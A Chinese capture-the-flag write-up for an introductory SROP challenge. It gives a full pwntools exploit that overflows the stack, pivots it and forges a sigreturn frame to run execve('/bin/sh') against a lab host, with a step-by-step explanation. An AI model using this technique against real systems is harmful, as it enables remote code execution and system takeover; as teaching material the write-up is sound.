(ps:SROP入门题)
文件链接:https://pan.baidu.com/s/17pIc0RrfLRH9arMbJmJGjA
提取码:4olb
(须知:read的返回值是其成功读取的字符数,而i386/amd64的返回值一般保存在eax/rax中)
1.查看保护机制以及搭建环境


2.ubuntu运行ida64远程调试文件&ida64打开程序分析:


只有read函数,sleep函数,以及一些初始化函数。没提供任何libc。
- SROP题,收集可利用信息:




4.编写exp
from pwn import *
context.binary = './unexploitable'
read_plt_add = 0x400430
change_rsi_add = 0x40055b
# lea rax,[rbp+buf]
# mov edx,50fh
# mov rsi,rax
#mov edi,0
#mov eax,0
#call _read
#leave
#retn
syscall_add = 0x400560
can_write_stack_add = 0x601400
link = remote("192.168.93.137","6666")
frame1 = SigreturnFrame(kernel='amd64')
frame1.rax = constants.SYS_execve
frame1.rdi = can_write_stack_add - 0x10
frame1.rsi = 0
frame1.rdx = 0
frame1.rip = syscall_add
payload = 'A' * 0x10
payload += p64(can_write_stack_add)
payload += p64(change_rsi_add)
sleep(3)
link.send(payload)
sleep(0.1)
payload2 = '/bin/sh\x00'
payload2 += 'A' * 0x8
payload2 += p64(can_write_stack_add)
payload2 += p64(read_plt_add)
payload2 += p64(syscall_add)
payload2 += str(frame1)
link.send(payload2)
sleep(0.1)
payload3 = '/bin/sh\x00' + 'A' * 0x7 # rax = 0xf
link.send(payload3)
link.interactive()
大致流程:
设: 新栈起始地址为s1 原栈s2
(1).栈溢出,覆盖rbp为s1,覆盖rip为 main函数中的read函数开始地址(原因是,找不到gadget修改rsi的值)
(2).第一个read函数结束(程序一开始调用的read),进行第一个leave retn ,结束有,rbp为s1,rsp还在s2,rip指向 main函数中的read函数开始部分
(3).由于rbp为s1,又因 read函数存放读入的数据位置是以rbp定位的,读入字符串/bin/sh到新栈s1-buf处,并且设置好第二次leave retn 所需的栈布局,进行第二次leave retn。然后,rsp劫持到了新栈的s1处,rbp将于新栈的s1位置获得回原本的值,一遍下次调用read函数使用。rip指向s1+8位置的read函数。
(4).向rbp-buf位置处写入15个字符,并且保持之前写入的字符串/bin/sh不变。使得rax=0xf
(5).read函数执行完,ret到s1+16位置的syscall
(6).执行syscall ,执行sigreturn,劫持sigreturnframe,执行execve('/bin/sh',0,0) getshell
